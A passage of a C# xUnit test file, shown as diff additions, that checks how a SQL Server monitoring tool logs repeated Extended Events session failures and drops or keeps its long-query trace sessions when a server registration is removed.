+            Assert.Equal(2, Count(lines, "DEBUG", CollectorEnsureLine));
+
+            /* The run row and its classification are the same on every cycle, and so is the retry. */
+            var runs = await ReadRunsAsync(rig);
+            Assert.Equal(3, runs.Count);
+            Assert.All(runs, run =>
+            {
+                Assert.Equal("ERROR", run.Status);
+                Assert.Contains("Failed to ensure long query completions XE session", run.Error, StringComparison.Ordinal);
+            });
+            Assert.Equal(9, rig.Created.Count());
+
+            var failure = Assert.Single(rig.Service.GetHealthSummary(rig.ServerId).XeSessionFailures);
+            Assert.Equal(3, failure.ConsecutiveErrors);
+        });
+    }
+
+    /// <summary>
+    /// A permission refusal is classified PERMISSIONS, and its collector line is a Warning the first time and Debug after it.
+    /// The scheduler skips a collector that was refused for permission, so the second run happens only once the server's
+    /// health is cleared, as removing the server does.
+    /// </summary>
+    [Fact]
+    public async Task ACollectorRefusedForPermission_LogsItsOwnLineAtWarning_ThenDebug()
+    {
+        await WithDebugLoggingAsync(async () =>
+        {
+            var rig = await BuildRigAsync(traceOn: true);
+            RefuseEveryDatabase(rig, number: 262);
+            var lines = new List<string>();
+
+            await ReconcileAndRunAsync(rig);
+            lines.AddRange(Lines(rig));
+            Assert.Equal(1, Count(lines, "WARN", CollectorEnsureLine));
+
+            rig.Service.ClearHealthForServer(rig.ServerId);
+            await ReconcileAndRunAsync(rig);
+            lines.AddRange(Lines(rig));
+
+            Assert.Equal(1, Count(lines, "WARN", CollectorEnsureLine));
+            Assert.Equal(1, Count(lines, "DEBUG", CollectorEnsureLine));
+            Assert.Equal(0, Count(lines, "ERROR", CollectorEnsureLine));
+
+            var runs = await ReadRunsAsync(rig);
+            Assert.Equal(2, runs.Count);
+            Assert.All(runs, run => Assert.Equal("PERMISSIONS", run.Status));
+        });
+    }
+
+    /// <summary>
+    /// A create that succeeds ends the run of failures, so the next failing run logs its own line at Error again, and its
+    /// repeat at Debug.
+    /// </summary>
+    [Fact]
+    public async Task ACollectorWhoseTraceCreateFailsAgainAfterItSucceeded_LogsItsOwnLineAtErrorAgain()
+    {
+        await WithDebugLoggingAsync(async () =>
+        {
+            var rig = await BuildRigAsync(traceOn: true);
+            RefuseEveryDatabase(rig, number: 4060);
+            var lines = new List<string>();
+
+            await ReconcileAndRunAsync(rig);
+            await ReconcileAndRunAsync(rig);
+
+            /* The create succeeds in every database. (A run would go on to read the server, so only the reconcile runs.) */
+            rig.Refuse.Clear();
+            await rig.ReconcileAsync();
+            Assert.Null(KeptFault(rig));
+
+            RefuseEveryDatabase(rig, number: 4060);
+            await ReconcileAndRunAsync(rig);
+            await ReconcileAndRunAsync(rig);
+            lines.AddRange(Lines(rig));
+
+            Assert.Equal(2, Count(lines, "ERROR", CollectorEnsureLine));
+            Assert.Equal(2, Count(lines, "DEBUG", CollectorEnsureLine));
+            Assert.Equal(4, (await ReadRunsAsync(rig)).Count(run => run.Status == "ERROR"));
+        });
+    }
+
+    /// <summary>
+    /// An install with no id has no session to create, and the reconcile keeps that as the fault the run records on every
+    /// cycle. The run's two lines for it (a plain error, not a SQL error) follow the same rule as the create's.
+    /// </summary>
+    [Fact]
+    public async Task ACollectorWithNoInstallId_LogsItsOwnLinesOnce_ThenDebug()
+    {
+        await WithDebugLoggingAsync(async () =>
+        {
+            var rig = await BuildRigAsync(
+                new ServerConnection { ServerName = Host, DisplayName = "lqtrace-noid-" + Guid.NewGuid().ToString("N")[..8] },
+                traceOn: true, engineEdition: 5, withInstallId: false);
+            const string typeLine = "long_query_completions InvalidOperationException: The long-query trace was not created";
+            const string failedLine = "Collector 'long_query_completions' failed for server";
+            var lines = new List<string>();
+
+            await ReconcileAndRunAsync(rig);
+            lines.AddRange(Lines(rig));
+            Assert.Equal(1, Count(lines, "ERROR", typeLine));
+            Assert.Equal(1, Count(lines, "ERROR", failedLine));
+
+            await ReconcileAndRunAsync(rig);
+            await ReconcileAndRunAsync(rig);
+            lines.AddRange(Lines(rig));
+
+            Assert.Equal(1, Count(lines, "ERROR", typeLine));
+            Assert.Equal(1, Count(lines, "ERROR", failedLine));
+            Assert.Equal(2, Count(lines, "DEBUG", typeLine));
+            Assert.Equal(2, Count(lines, "DEBUG", failedLine));
+
+            var runs = await ReadRunsAsync(rig);
+            Assert.Equal(3, runs.Count);
+            Assert.All(runs, run =>
+            {
+                Assert.Equal("ERROR", run.Status);
+                Assert.Contains("no id", run.Error, StringComparison.Ordinal);
+            });
+        });
+    }
+
+    /// <summary>
+    /// A server-scoped create (on-premises, Managed Instance, RDS) that fails with a SQL error keeps that error as it is,
+    /// and the run reaches its SQL error arm. That arm's two lines follow the create's rule too.
+    /// </summary>
+    [Fact]
+    public async Task ACollectorWhoseServerScopedCreateFailsWithASqlError_LogsItsOwnLinesOnce_ThenDebug()
+    {
+        await WithDebugLoggingAsync(async () =>
+        {
+            var rig = await BuildOnPremRigAsync(traceOn: true);
+
+            /* The server-scoped create names no database. */
+            rig.Refuse.Add(string.Empty);
+            rig.RefusalNumber = 1105;
+            const string sqlErrorLine = "long_query_completions SQL Error #1105";
+            const string failedLine = "Collector 'long_query_completions' SQL error #1105 for server";
+            var lines = new List<string>();
+
+            await ReconcileAndRunAsync(rig);
+            lines.AddRange(Lines(rig));
+            Assert.Equal(1, Count(lines, "ERROR", sqlErrorLine));
+            Assert.Equal(1, Count(lines, "ERROR", failedLine));
+
+            await ReconcileAndRunAsync(rig);
+            await ReconcileAndRunAsync(rig);
+            lines.AddRange(Lines(rig));
+
+            Assert.Equal(1, Count(lines, "ERROR", sqlErrorLine));
+            Assert.Equal(1, Count(lines, "ERROR", failedLine));
+            Assert.Equal(2, Count(lines, "DEBUG", sqlErrorLine));
+            Assert.Equal(2, Count(lines, "DEBUG", failedLine));
+
+            var runs = await ReadRunsAsync(rig);
+            Assert.Equal(3, runs.Count);
+            Assert.All(runs, run => Assert.Equal("ERROR", run.Status));
+        });
+    }
+
+    /// <summary>
+    /// A ring-buffer read that fails while the session exists is not a failed create: nothing was kept by the reconcile,
+    /// so every cycle's run logs its line for the failed read at Error, the level it always had. Only a kept create
+    /// failure repeats at Debug.
+    /// </summary>
+    [Fact]
+    public async Task AFailedRingBufferRead_KeepsItsLevelOnEveryCycle()
+    {
+        await WithDebugLoggingAsync(async () =>
+        {
+            var rig = await BuildRigAsync(traceOn: true);
+            rig.Service.AzureDatabaseListOverrideForTests = (_, _) => Task.FromResult(new List<string> { "alpha", "beta" });
+            rig.Service.AzureDatabaseReaderOverrideForTests = (database, _) =>
+                throw SqlExceptionFactory.Create(50001, errorClass: 16, message: $"The long-query XE session cannot be read in {database}.");
+            const string readLine = "long_query_completions Failed to read long query completions XE session";
+            var lines = new List<string>();
+
+            await ReconcileAndRunAsync(rig);
+            await ReconcileAndRunAsync(rig);
+            await ReconcileAndRunAsync(rig);
+            lines.AddRange(Lines(rig));
+
+            /* The create succeeded each time, so no fault was kept; each run's read failed at its own level. */
+            Assert.Null(KeptFault(rig));
+            Assert.Equal(3, Count(lines, "ERROR", readLine));
+            Assert.Equal(0, Count(lines, "DEBUG", readLine));
+
+            var runs = await ReadRunsAsync(rig);
+            Assert.Equal(3, runs.Count);
+            Assert.All(runs, run =>
+            {
+                Assert.Equal("ERROR", run.Status);
+                Assert.Contains("Failed to read long query completions XE session", run.Error, StringComparison.Ordinal);
+            });
+        });
+    }
+
+    /* ── #4961: another registration of the same instance keeps the session (L6), and a removed server drops its own (R4) ── */
+
+    private const string InstanceName = "SQL01";
+
+    /// <summary>Seeds the identity row a wait_stats (or cpu_utilization) run persists for one registration.</summary>
+    private static async Task SeedNameAsync(Rig rig, ServerConnection server, string? name, string collector = "wait_stats")
+    {
+        using var conn = rig.DuckDb.CreateConnection();
+        await conn.OpenAsync();
+        using var cmd = conn.CreateCommand();
+        cmd.CommandText = "INSERT OR REPLACE INTO collector_state (server_id, collector_name, state_key, state_value, updated_at) VALUES ($1,$2,$3,$4,$5)";
+        cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = RemoteCollectorService.GetServerId(server) });
+        cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = collector });
+        cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = ServerEpoch.IdentityStateKey });
+        cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter
+        {
+            Value = ServerEpoch.Serialize(new ServerEpoch.Stamp(new DateTime(2026, 10, 2, 8, 0, 0, DateTimeKind.Utc), name)),
+        });
+        cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = DateTime.UtcNow });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>
+    /// Another on-premises registration of this install, under another host name, with its own trace setting and the
+    /// name its instance last reported (null: it has reported none).
+    /// </summary>
+    private static async Task<ServerConnection> RegisterOnPremOtherAsync(Rig rig, bool traceOn, string? name, bool enabled = true, string collector = "wait_stats")
+    {
+        var other = new ServerConnection
+        {
+            ServerName = "lqtrace-sql-alias-" + Guid.NewGuid().ToString("N")[..8],
+            DisplayName = "lqtrace-alias-" + Guid.NewGuid().ToString("N")[..8],
+            IsEnabled = enabled,
+        };
+        rig.Servers.AddServer(other);
+        SetTrace(rig, other, traceOn);
+        if (name is not null)
+        {
+            await SeedNameAsync(rig, other, name, collector);
+        }
+
+        return other;
+    }
+
+    /// <summary>
+    /// Test 21: a registration whose trace is off does not drop the session another registration of the same instance
+    /// keeps. The match is positive: both registrations' last-known names are known and agree, ignoring case, and the other
+    /// registration is monitored with its trace on. Anything less drops, as before.
+    /// </summary>
+    [Theory]
+    [InlineData("SQL01", "sql01", true, true, false)]
+    [InlineData("SQL01", "SQL01", true, true, false)]
+    [InlineData("SQL01", "SQL01", true, false, true)]
+    [InlineData("SQL01", "SQL01", false, true, true)]
+    [InlineData("SQL01", "SQL02", true, true, true)]
+    [InlineData("SQL01", null, true, true, true)]
+    [InlineData(null, "SQL01", true, true, true)]
+    public async Task Off_OnPremises_LeavesTheSession_WhileAnotherRegistrationOfTheSameInstanceKeepsIt(
+        string? ownName, string? otherName, bool otherEnabled, bool otherTraceOn, bool expectDrop)
+    {
+        var rig = await BuildOnPremRigAsync(traceOn: false);
+        if (ownName is not null)
+        {
+            await SeedNameAsync(rig, rig.Server, ownName);
+        }
+
+        await RegisterOnPremOtherAsync(rig, otherTraceOn, otherName, otherEnabled);
+
+        await rig.ReconcileAsync();
+
+        Assert.Equal(expectDrop ? 1 : 0, rig.Calls.Count(c => !c.Create));
+        Assert.False(rig.Applied);
+
+        /* Done either way: the next cycle runs nothing. */
+        rig.Calls.Clear();
+        await rig.ReconcileAsync();
+        Assert.Empty(rig.Calls);
+    }
+
+    [Fact]
+    public async Task Off_OnPremises_ANameOnlyTheSecondCarrierHolds_StillMatches()
+    {
+        var rig = await BuildOnPremRigAsync(traceOn: false);
+        await SeedNameAsync(rig, rig.Server, InstanceName, collector: "cpu_utilization");
+        await RegisterOnPremOtherAsync(rig, traceOn: true, InstanceName, collector: "cpu_utilization");
+
+        await rig.ReconcileAsync();
+
+        Assert.Empty(rig.Calls);
+    }
+
+    /// <summary>The install's default is on and the other registration overrides it to off: its effective setting is off, so it keeps nothing.</summary>
+    [Fact]
+    public async Task Off_OnPremises_AnotherRegistrationWithItsOwnSettingOff_KeepsNothing_WhateverTheInstallsDefault()
+    {
+        var rig = await BuildOnPremRigAsync(traceOn: true);
+        SetTrace(rig, rig.Server, traceOn: false);
+        await SeedNameAsync(rig, rig.Server, InstanceName);
+        await RegisterOnPremOtherAsync(rig, traceOn: false, InstanceName);
+
+        await rig.ReconcileAsync();
+
+        Assert.Single(rig.Calls, c => !c.Create);
+    }
+
+    /// <summary>The install's default is off and the other registration turns its own on: its effective setting is on, so it keeps the session.</summary>
+    [Fact]
+    public async Task Off_OnPremises_AnotherRegistrationWithItsOwnSettingOn_KeepsTheSession_WhateverTheInstallsDefault()
+    {
+        var rig = await BuildOnPremRigAsync(traceOn: false);
+        await SeedNameAsync(rig, rig.Server, InstanceName);
+        await RegisterOnPremOtherAsync(rig, traceOn: true, InstanceName);
+
+        await rig.ReconcileAsync();
+
+        Assert.Empty(rig.Calls);
+    }
+
+    /// <summary>The removal begins, and a reconcile that comes after it does not create the session again.</summary>
+    [Fact]
+    public async Task AfterTheRemovalsDrop_TheReconcile_DoesNotCreateTheSessionAgain()
+    {
+        var rig = await BuildRigAsync(traceOn: true);
+        await rig.ReconcileAsync();
+        await RemoveAsync(rig);
+        rig.Calls.Clear();
+
+        await rig.ReconcileAsync();
+
+        Assert.Empty(rig.Calls);
+    }
+
+    /// <summary>The service's session drop for a removed server, the way the removal calls it.</summary>
+    private static Task RemoveAsync(Rig rig) =>
+        rig.Service.DropLongQueryTraceOfRemovedServerAsync(rig.Server, CancellationToken.None);
+
+    /// <summary>Test 20, Azure: the removal drops this install's session in each listed database but master, and leaves the databases another registration keeps.</summary>
+    [Fact]
+    public async Task Removal_Azure_DropsThisInstallsSessionEverywhere_ExceptWhereAnotherRegistrationKeepsIt()
+    {
+        var rig = await BuildRigAsync(traceOn: true);
+        await rig.ReconcileAsync();
+        Assert.Equal(new[] { "alpha", "beta", "gamma" }, rig.Created);
+        /* A second registration of the logical server, with its trace on, keeps the session in the one database it does not exclude. */
+        RegisterOther(rig, null, traceOn: true, readOnlyIntent: true, "alpha", "gamma");
+        rig.Calls.Clear();
+        rig.Names.Clear();
+
+        await RemoveAsync(rig);
+
+        Assert.Equal(new[] { "alpha", "gamma" }, rig.Dropped);
+        Assert.Equal(rig.Calls.Count, rig.Names.Count);
+        Assert.All(rig.Names, name => Assert.Equal(LongQueryCompletionsCollector.XeSessionNameFor(LongQueryCompletionsCollector.LiteProduct, rig.InstallId!), name));
+        Assert.DoesNotContain(rig.Names, name => name == LongQueryCompletionsCollector.LegacyXeSessionName);
+    }
+
+    [Fact]
+    public async Task Removal_OnPremises_DropsThisInstallsServerScopedSession_Once()
+    {
+        var rig = await BuildOnPremRigAsync(traceOn: true);
+        await SeedNameAsync(rig, rig.Server, InstanceName);
+        await rig.ReconcileAsync();
+        rig.Calls.Clear();
+        rig.Names.Clear();
+
+        await RemoveAsync(rig);
+
+        var drop = Assert.Single(rig.Calls);
+        Assert.False(drop.Create);
+        Assert.Equal(string.Empty, drop.Database);
+        Assert.Equal(LongQueryCompletionsCollector.XeSessionNameFor(LongQueryCompletionsCollector.LiteProduct, rig.InstallId!), Assert.Single(rig.Names));
+    }
+
+    [Fact]
+    public async Task Removal_OnPremises_LeavesTheSession_WhileAnotherRegistrationOfTheSameInstanceKeepsIt_AndSaysSo()
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Information);
+            var rig = await BuildOnPremRigAsync(traceOn: true);
+            await SeedNameAsync(rig, rig.Server, InstanceName);
+            await RegisterOnPremOtherAsync(rig, traceOn: true, "sql01");
+            await rig.ReconcileAsync();
+            rig.Calls.Clear();
+            AppLogger.DrainBufferedLines();
+
+            await RemoveAsync(rig);
+
+            Assert.Empty(rig.Calls);
+            Assert.Contains(AppLogger.DrainBufferedLines(), line =>
+                line.Contains(rig.Server.DisplayName, StringComparison.Ordinal)
+                && line.Contains("INFO", StringComparison.Ordinal)
+                && line.Contains("keeps it on the same instance", StringComparison.Ordinal));
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    [Fact]
+    public async Task Removal_OnPremises_WithNoNameKnown_LeavesTheSession_WhenAnotherRegistrationCouldKeepIt_AndSaysWhy()
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Information);
+            var rig = await BuildOnPremRigAsync(traceOn: true);
+            await RegisterOnPremOtherAsync(rig, traceOn: true, InstanceName);
+            await rig.ReconcileAsync();
+            rig.Calls.Clear();
+            AppLogger.DrainBufferedLines();
+
+            await RemoveAsync(rig);
+
+            Assert.Empty(rig.Calls);
+            Assert.Contains(AppLogger.DrainBufferedLines(), line =>
+                line.Contains(rig.Server.DisplayName, StringComparison.Ordinal)
+                && line.Contains("INFO", StringComparison.Ordinal)
+                && line.Contains("instance name is not known", StringComparison.Ordinal));
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    [Fact]
+    public async Task Removal_OnPremises_WithNoNameKnown_StillDrops_WhenNoOtherRegistrationCouldKeepIt()
+    {
+        var rig = await BuildOnPremRigAsync(traceOn: true);
+        await RegisterOnPremOtherAsync(rig, traceOn: false, InstanceName);
+        await rig.ReconcileAsync();
+        rig.Calls.Clear();
+
+        await RemoveAsync(rig);
+
+        Assert.Single(rig.Calls, c => !c.Create);
+    }
+
+    [Fact]
+    public async Task Removal_OnPremises_DropsTheSession_WhenTheOtherRegistrationOfTheInstanceHasItsTraceOff()
+    {
+        var rig = await BuildOnPremRigAsync(traceOn: true);
+        await SeedNameAsync(rig, rig.Server, InstanceName);
+        await RegisterOnPremOtherAsync(rig, traceOn: false, InstanceName);
+        await rig.ReconcileAsync();
+        rig.Calls.Clear();
+
+        await RemoveAsync(rig);
+
+        Assert.Single(rig.Calls, c => !c.Create);
+    }
+
+    /// <summary>A server whose last finished reconcile dropped the session has none to remove, so the removal opens no connection to it.</summary>
+    [Theory]
+    [InlineData(true)]
+    [InlineData(false)]
+    public async Task Removal_OfAServerWhoseTraceIsOff_TouchesNothing(bool azureSqlDatabase)
+    {
+        var rig = azureSqlDatabase ? await BuildRigAsync(traceOn: false) : await BuildOnPremRigAsync(traceOn: false);
+        await rig.ReconcileAsync();
+        rig.Calls.Clear();
+        var listed = rig.ListCalls;
+
+        await RemoveAsync(rig);
+
+        Assert.Empty(rig.Calls);
+        Assert.Equal(listed, rig.ListCalls);
+    }
+
+    /// <summary>One attempt, and nothing it hits stops the removal: a refused drop and a token that has run out both return.</summary>
+    [Fact]
+    public async Task Removal_ADropThatFails_OrTimesOut_NeverThrows_AndTriesOnce()
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Warning);
+            var rig = await BuildRigAsync(traceOn: true);
+            await rig.ReconcileAsync();
+            rig.Calls.Clear();
+            rig.Refuse.Add("beta");
+            AppLogger.DrainBufferedLines();
+
+            await RemoveAsync(rig);
+
+            Assert.Equal(new[] { "alpha", "beta", "gamma" }, rig.Dropped);
+            Assert.Contains(AppLogger.DrainBufferedLines(), line =>
+                line.Contains(rig.Server.DisplayName, StringComparison.Ordinal)
+                && line.Contains("WARN", StringComparison.Ordinal)
+                && line.Contains("removed", StringComparison.OrdinalIgnoreCase));
+
+            rig.Calls.Clear();
+            using var spent = new CancellationTokenSource();
+            spent.Cancel();
+            await rig.Service.DropLongQueryTraceOfRemovedServerAsync(rig.Server, spent.Token);
+            Assert.Empty(rig.Calls);
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    [Fact]
+    public async Task Removal_WithNoInstallId_DropsNothing()
+    {
+        var rig = await BuildRigAsync(
+            new ServerConnection { ServerName = "lqtrace-sql", DisplayName = "lqtrace-noid-" + Guid.NewGuid().ToString("N")[..8] },
+            traceOn: true, engineEdition: 3, withInstallId: false);
+
+        await RemoveAsync(rig);
+
+        Assert.Empty(rig.Calls);
+    }
+
+    private sealed class RecordingDatabase : IAlwaysOnXeDatabase
+    {
+        private readonly List<string> _statements;
+
+        public RecordingDatabase(List<string> statements) => _statements = statements;
+
+        public Task<AlwaysOnXeCatalog> ReadCatalogAsync(AlwaysOnXeSessionKind kind, string sessionName, CancellationToken cancellationToken) =>
+            Task.FromResult(AlwaysOnXeCatalog.Present);
+
+        public Task<bool> IsStartedAsync(string sessionName, CancellationToken cancellationToken) => Task.FromResult(true);
+
+        public Task ExecuteAsync(string statement, CancellationToken cancellationToken)
+        {
+            _statements.Add(statement);
+            return Task.CompletedTask;
+        }
+
+        public bool IsAlreadyPresent(Exception exception) => false;
+    }
+
+    /// <summary>
+    /// Test 20, Azure's fallbacks: the deadlock and blocked-process sessions this install chose for itself in the removed
+    /// server's databases are dropped by their own names, except in a database where another registration of this install
+    /// reads its own session. A database where the install reads the shared session is left alone: the shared session is never dropped.
+    /// </summary>
+    [Fact]
+    public async Task Removal_Azure_DropsTheDeadlockAndBlockedProcessSessionsThisInstallChose_NeverTheSharedOnes()
+    {
+        var rig = await BuildRigAsync(traceOn: false);
+        await rig.ReconcileAsync();
+        var other = RegisterOther(rig, null, traceOn: false, readOnlyIntent: true);
+        var choices = rig.Service.AlwaysOnChoices;
+        choices.Set(rig.Server.Id, "alpha", AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Own);
+        choices.Set(rig.Server.Id, "beta", AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Own);
+        choices.Set(rig.Server.Id, "beta", AlwaysOnXeSessionKind.BlockedProcess, AlwaysOnXeChoice.Own);
+        choices.Set(rig.Server.Id, "gamma", AlwaysOnXeSessionKind.BlockedProcess, AlwaysOnXeChoice.Shared);
+        choices.Set(other.Id, "beta", AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Own);
+
+        var statements = new Dictionary<string, List<string>>(StringComparer.OrdinalIgnoreCase);
+        rig.Service.AlwaysOnXeDatabaseForTests = (_, database, _) =>
+        {
+            if (!statements.TryGetValue(database, out var list))
+            {
+                statements[database] = list = new List<string>();
+            }
+
+            return Task.FromResult<IAlwaysOnXeDatabase>(new RecordingDatabase(list));
+        };
+
+        await RemoveAsync(rig);
+
+        string Drop(AlwaysOnXeSessionKind kind) =>
+            AlwaysOnXeSessions.BuildAzureDropSql(kind, AlwaysOnXeSessions.OwnNameFor(LongQueryCompletionsCollector.LiteProduct, rig.InstallId, kind));
+        Assert.Equal(new[] { Drop(AlwaysOnXeSessionKind.Deadlock) }, statements["alpha"]);
+        Assert.Equal(new[] { Drop(AlwaysOnXeSessionKind.BlockedProcess) }, statements["beta"]);
+        Assert.False(statements.ContainsKey("gamma"));
+        Assert.DoesNotContain(statements.Values.SelectMany(s => s), s => s.Contains("[" + AlwaysOnXeSessions.SharedNameFor(AlwaysOnXeSessionKind.Deadlock) + "]", StringComparison.Ordinal));
+        Assert.Empty(choices.OwnDatabases(rig.Server.Id, AlwaysOnXeSessionKind.Deadlock));
+        Assert.Empty(choices.OwnDatabases(rig.Server.Id, AlwaysOnXeSessionKind.BlockedProcess));
+    }
+
+    /// <summary>
+    /// A database of the same name on another logical server is another database, so it holds nothing back: only another
+    /// registration of the removed server's own logical server reads its own session in a database of this server. The server
+    /// name compares ignoring case and padding.
+    /// </summary>
+    [Fact]
+    public async Task Removal_Azure_TheFallbackIsHeldBackOnlyByARegistrationOfTheSameServer_NotByADatabaseOfTheSameNameElsewhere()
+    {
+        var rig = await BuildRigAsync(traceOn: false);
+        await rig.ReconcileAsync();
+        var sameServer = new ServerConnection
+        {
+            ServerName = " " + Host.ToUpperInvariant() + " ",
+            DisplayName = "lqtrace-same-" + Guid.NewGuid().ToString("N")[..8],
+            ReadOnlyIntent = true,
+        };
+        var otherServer = new ServerConnection
+        {
+            ServerName = "lqtrace-other.database.windows.net",
+            DisplayName = "lqtrace-elsewhere-" + Guid.NewGuid().ToString("N")[..8],
+        };
+        rig.Servers.AddServer(sameServer);
+        rig.Servers.AddServer(otherServer);
+        var choices = rig.Service.AlwaysOnChoices;
+        choices.Set(rig.Server.Id, "alpha", AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Own);
+        choices.Set(rig.Server.Id, "beta", AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Own);
+        choices.Set(sameServer.Id, "BETA", AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Own);
+        choices.Set(otherServer.Id, "alpha", AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Own);
+
+        var statements = new Dictionary<string, List<string>>(StringComparer.OrdinalIgnoreCase);
+        rig.Service.AlwaysOnXeDatabaseForTests = (_, database, _) =>
+        {
+            if (!statements.TryGetValue(database, out var list))
+            {
+                statements[database] = list = new List<string>();
+            }
+
+            return Task.FromResult<IAlwaysOnXeDatabase>(new RecordingDatabase(list));
+        };
+
+        await RemoveAsync(rig);
+
+        var drop = AlwaysOnXeSessions.BuildAzureDropSql(
+            AlwaysOnXeSessionKind.Deadlock,
+            AlwaysOnXeSessions.OwnNameFor(LongQueryCompletionsCollector.LiteProduct, rig.InstallId, AlwaysOnXeSessionKind.Deadlock));
+        Assert.Equal(new[] { drop }, statements["alpha"]);
+        Assert.False(statements.ContainsKey("beta"));
+
+        /* The other server's own choice is its own to keep or forget. */
+        Assert.Single(choices.OwnDatabases(otherServer.Id, AlwaysOnXeSessionKind.Deadlock), database => string.Equals(database, "alpha", StringComparison.OrdinalIgnoreCase));
+    }
+
+    /// <summary>
+    /// The removal drops the session after the tag clear and before the block that drops the server's state, and gives the
+    /// whole step 15 seconds. The block that follows still awaits nothing (ConnectionAlertRetryInFlightTests).
+    /// </summary>
+    [Fact]
+    public void TheRemoval_DropsTheSession_AfterTheTagClear_BeforeTheStateDrops_WithinFifteenSeconds()
+    {
+        var window = ReadLf("Lite/MainWindow.xaml.cs");
+        var start = window.IndexOf("private async Task RemoveServerAsync(ServerConnection server)", StringComparison.Ordinal);
+        Assert.True(start >= 0, "the window has no RemoveServerAsync");
+        var removal = window[start..];
+
+        var tags = removal.IndexOf("ClearServerTagsForServerAsync(removedServerId)", StringComparison.Ordinal);
+        var drop = removal.IndexOf("DropLongQueryTraceOfRemovedServerAsync(server", StringComparison.Ordinal);
+        var state = removal.IndexOf("_collectorService?.ClearHealthForServer(removedServerId);", StringComparison.Ordinal);
+        Assert.True(tags >= 0 && drop > tags && state > drop, "the drop must sit between the tag clear and the state drops");
+        Assert.Contains("RemoteCollectorService.LongQueryTraceRemovalTimeout", removal[tags..state], StringComparison.Ordinal);
+        Assert.Equal(TimeSpan.FromSeconds(15), RemoteCollectorService.LongQueryTraceRemovalTimeout);
+    }
+
+    [Fact]
+    public void TheEnsures_StartASessionTheyFindStopped_ByThisInstallsName_AndNothingNamesTheLegacySession()
+    {
+        var source = ReadLf("Lite/Services/RemoteCollectorService.LongQueryCompletions.cs");
+
+        /* On-prem: the existence check also reports whether it runs, and a stopped one is started by name. */
+        Assert.Contains("is_running = CASE WHEN dxs.name IS NOT NULL THEN 1 ELSE 0 END", source, StringComparison.Ordinal);
+        Assert.Contains("isRunning == 0", source, StringComparison.Ordinal);
+        Assert.Contains("BuildStartSessionSql(sessionName, databaseScoped: false)", source, StringComparison.Ordinal);
+
+        /* Azure SQL Database: a session that exists and does not run is started by name. */
+        Assert.Contains("FROM sys.dm_xe_database_sessions AS xes", source, StringComparison.Ordinal);
+        Assert.Contains("ALTER EVENT SESSION [{sessionName}] ON DATABASE STATE = START;", source, StringComparison.Ordinal);
+
+        Assert.DoesNotContain("LegacyXeSessionName", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("LongQueryCompletionsCollector.XeSessionName", source, StringComparison.Ordinal);
+    }
+
+    /* ── #4961: the session that versions before this one shared between installs is dropped once, then recorded ── */
+
+    private static readonly string[] AllDatabases = { "alpha", "beta", "gamma" };
+
+    /// <summary>The drop records the store holds for this registration: (state key, state value), by key.</summary>
+    private async Task<List<(string Key, string Value)>> RecordsAsync(Rig rig)
+    {
+        using var connection = new DuckDBConnection($"Data Source={_dbPath}");
+        await connection.OpenAsync();
+        using var command = connection.CreateCommand();
+        command.CommandText = @"
+SELECT state_key, state_value
+FROM collector_state
+WHERE server_id = $1
+AND   collector_name = $2
+AND   starts_with(state_key, $3)
+ORDER BY state_key";
+        command.Parameters.Add(new DuckDBParameter { Value = RemoteCollectorService.GetServerId(rig.Server) });
+        command.Parameters.Add(new DuckDBParameter { Value = LegacyLongQuerySession.StateCollector });
+        command.Parameters.Add(new DuckDBParameter { Value = LegacyLongQuerySession.StateKeyPrefix });
+
+        var rows = new List<(string, string)>();
+        using var reader = await command.ExecuteReaderAsync();
+        while (await reader.ReadAsync())
+        {
+            rows.Add((reader.GetString(0), reader.GetString(1)));
+        }
+
+        return rows;
+    }
+
+    private async Task ExecuteStoreAsync(string sql)
+    {
+        using var connection = new DuckDBConnection($"Data Source={_dbPath}");
+        await connection.OpenAsync();
+        using var command = connection.CreateCommand();
+        command.CommandText = sql;
+        await command.ExecuteNonQueryAsync();
+    }
+
+    private static string[] KeysFor(params string[] databases) =>
+        databases.Select(LegacyLongQuerySession.StateKey).OrderBy(key => key, StringComparer.Ordinal).ToArray();
+
+    private static List<string> FoundLines(IEnumerable<string> lines) =>
+        lines
+            .Where(line => line.Contains("INFO", StringComparison.Ordinal)
+                && line.Contains(LongQueryCompletionsCollector.LegacyXeSessionName, StringComparison.Ordinal)
+                && line.Contains("older", StringComparison.OrdinalIgnoreCase))
+            .ToList();
+
+    private Task<Rig> BuildForAsync(bool azure, bool traceOn) =>
+        azure ? BuildRigAsync(traceOn) : BuildOnPremRigAsync(traceOn);
+
+    [Theory]
+    [InlineData(false, true)]
+    [InlineData(false, false)]
+    [InlineData(true, true)]
+    [InlineData(true, false)]
+    public async Task Legacy_IsDroppedOncePerRegistrationAndDatabase_WhetherTheTraceIsOnOrOff(bool azure, bool traceOn)
+    {
+        var rig = await BuildForAsync(azure, traceOn);
+
+        for (var cycle = 1; cycle <= 3; cycle++)
+        {
+            await rig.ReconcileAsync();
+        }
+
+        /* Server scope has no database, so its one drop names none. On Azure it is every listed database but master. */
+        Assert.Equal(azure ? AllDatabases : new[] { string.Empty }, rig.LegacyCalls);
+
+        var records = await RecordsAsync(rig);
+        Assert.Equal(KeysFor(azure ? AllDatabases : new[] { string.Empty }), records.Select(r => r.Key));
+        Assert.All(records, record =>
